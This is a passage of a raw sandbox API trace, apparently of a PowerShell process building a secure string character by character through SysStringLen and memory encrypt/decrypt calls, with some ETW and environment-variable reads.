(param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\xbc3f\x6408\x25ad\x7b0\x6b9b\xe4b\x58fd\xdab2") returned 0x20 [0136.406] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\xbc3f\x6408\x25ad\x7b0\x6b9b\xe4b\x58fd\xdab2") returned 0x20 [0136.406] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.406] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+ퟍ") returned 0x20 [0136.406] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x36e6\x3cee\x8565\x7278\x7e5a\xb279\x772c\x1275") returned 0x20 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x36e6\x3cee\x8565\x7278\x7e5a\xb279\x772c\x1275") returned 0x20 [0136.407] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.407] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+Eퟍ") returned 0x20 [0136.407] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x7b4\x9a47\xea6d\xffa8\xe9da\x3bd0\x8277\xe585") returned 0x20 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x7b4\x9a47\xea6d\xffa8\xe9da\x3bd0\x8277\xe585") returned 0x20 [0136.407] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.407] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3ퟍ") returned 0x20 [0136.407] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x1588\x552c\x516\x6ed3\xd0a\x478\x31b1\xe480") returned 0x20 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x1588\x552c\x516\x6ed3\xd0a\x478\x31b1\xe480") returned 0x20 [0136.407] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.407] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hퟍ") returned 0x20 [0136.407] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x8ea4\xc62c\x9ce8\xd86a\x67b5\xc024\xea2d\x72bc") returned 0x20 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x8ea4\xc62c\x9ce8\xd86a\x67b5\xc024\xea2d\x72bc") returned 0x20 [0136.407] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.407] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hj") returned 0x20 [0136.407] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x4341\x6313\x82a6\x9654\xe61e\x5f53\x2719\x1c3") returned 0x20 [0136.407] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x4341\x6313\x82a6\x9654\xe61e\x5f53\x2719\x1c3") returned 0x20 [0136.407] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.408] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjo") returned 0x20 [0136.408] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\xa7a7\x8e6\x226d\xfee5\xdd00\x6d06\xddfa\xc76d") returned 0x20 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\xa7a7\x8e6\x226d\xfee5\xdd00\x6d06\xddfa\xc76d") returned 0x20 [0136.408] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.408] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ") returned 0x20 [0136.408] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5") returned 0x20 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5") returned 0x20 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5") returned 0x20 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5") returned 0x28 [0136.408] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.408] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8驊儞Ꮰ徧⿠灈䜶") returned 0x28 [0136.408] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x5bb9\x8d45\xf76b\x4a\x7151\x842c\x834f\x4ba1") returned 0x28 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x5bb9\x8d45\xf76b\x4a\x7151\x842c\x834f\x4ba1") returned 0x28 [0136.408] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.408] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8o儞Ꮰ徧⿠灈䜶") returned 0x28 [0136.408] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x7e4b\x794d\x5a8e\x5959\xfdc\x1fd4\xbad5\xf413") returned 0x28 [0136.408] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x7e4b\x794d\x5a8e\x5959\xfdc\x1fd4\xbad5\xf413") returned 0x28 [0136.408] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.408] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogᏠ徧⿠灈䜶") returned 0x28 [0136.409] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.409] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\xa0f7\x557\x6b42\x84d5\xb73\xf145\xf481\xc21c") returned 0x28 [0136.409] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\xa0f7\x557\x6b42\x84d5\xb73\xf145\xf481\xc21c") returned 0x28 [0136.409] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.409] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogL徧⿠灈䜶") returned 0x28 [0136.409] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.409] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x3e7c\x2551\x51c6\xfc12\xfd2\x3e8d\x2060\x9e95") returned 0x28 [0136.409] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x3e7c\x2551\x51c6\xfc12\xfd2\x3e8d\x2060\x9e95") returned 0x28 [0136.409] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.409] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogLk⿠灈䜶") returned 0x28 [0136.409] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.409] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x6b53\xfc6a\xd131\x9f85\x93ea\x174b\x849\x5064") returned 0x28 [0136.409] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x6b53\xfc6a\xd131\x9f85\x93ea\x174b\x849\x5064") returned 0x28 [0136.409] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.409] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogLk3灈䜶") returned 0x28 [0136.409] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.409] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x7a27\x52f2\x4785\x43c2\xe646\x2f1f\x6ea5\xbb80") returned 0x28 [0136.409] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x7a27\x52f2\x4785\x43c2\xe646\x2f1f\x6ea5\xbb80") returned 0x28 [0136.409] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.409] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogLk3v䜶") returned 0x28 [0136.409] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.410] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\xa0f2\xc219\x89bd\x6b2\xf7e5\x302a\x65c8\x860b") returned 0x28 [0136.410] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\xa0f2\xc219\x89bd\x6b2\xf7e5\x302a\x65c8\x860b") returned 0x28 [0136.410] SystemFunction041 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.410] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogLk3vi") returned 0x28 [0136.410] SystemFunction040 (in: Memory=0x8ebff04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff04) returned 0x0 [0136.410] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0") returned 0x28 [0136.410] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0") returned 0x28 [0136.410] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0") returned 0x28 [0136.410] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0") returned 0x30 [0136.410] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0136.410] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogLk3vie簬똓被ᖴⴳ") returned 0x30 [0136.410] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0136.410] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0\xb2df\x3318\x3347\x6a65\x4637\xf1d8\x547c\x308") returned 0x30 [0136.410] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0\xb2df\x3318\x3347\x6a65\x4637\xf1d8\x547c\x308") returned 0x30 [0136.410] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0136.410] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogLk3vie/簬똓被ᖴⴳ") returned 0x30 [0136.410] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0136.411] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0\xbf22\xaba0\x3ea3\x81d0\x2ad8\xac80\x578e\xa3f5") returned 0x30 [0136.411] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0\xbf22\xaba0\x3ea3\x81d0\x2ad8\xac80\x578e\xa3f5") returned 0x30 [0136.411] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0136.411] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogLk3vie/U簬똓被ᖴⴳ") returned 0x30 [0136.411] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0136.411] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0\x210b\x2397\x7602\x4112\x4fae\x4f48\x4270\xc656") returned 0x30 [0136.411] SysStringLen (param_1="\x5c3d\x5004\xb125\xb98c\xe07e\xb011\xbaed\xb6b6\x1b9b\xd318\xc0cd\x1c7c\xdf18\xe4ab\x4c3a\xf92a\x639e\xd176\xaef9\xeeb3\x3687\xc358\xace7\xc76b\x9f80\x9a60\x2256\x12e6\x9b67\x3b75\x35b3\x77e5\x27b5\xde36\x9e6b\x7d2a\x72d3\x9c3e\x504f\x1de0\x210b\x2397\x7602\x4112\x4fae\x4f48\x4270\xc656") returned 0x30 [0136.411] SystemFunction041 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0136.411] SysStringLen (param_1="ARzJwlal1fn0ytens/MlXiYo8+E3hjoQ8ogLk3vie/U=똓被ᖴⴳ") returned 0x30 [0136.411] SystemFunction040 (in: Memory=0x8e31034, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31034) returned 0x0 [0136.411] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.411] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.411] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0136.412] SysStringLen (param_1="") returned 0x8 [0136.412] SysStringLen (param_1="Y") returned 0x8 [0136.412] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.412] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.412] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.412] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.412] SysStringLen (param_1="YW") returned 0x8 [0136.412] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.412] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.412] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.412] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.412] SysStringLen (param_1="YWM") returned 0x8 [0136.412] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.412] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.412] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.412] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.413] SysStringLen (param_1="YWM1") returned 0x8 [0136.413] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.413] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.413] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.413] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.413] SysStringLen (param_1="YWM1O") returned 0x8 [0136.413] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.413] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.413] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.413] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.413] SysStringLen (param_1="YWM1OT") returned 0x8 [0136.413] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, 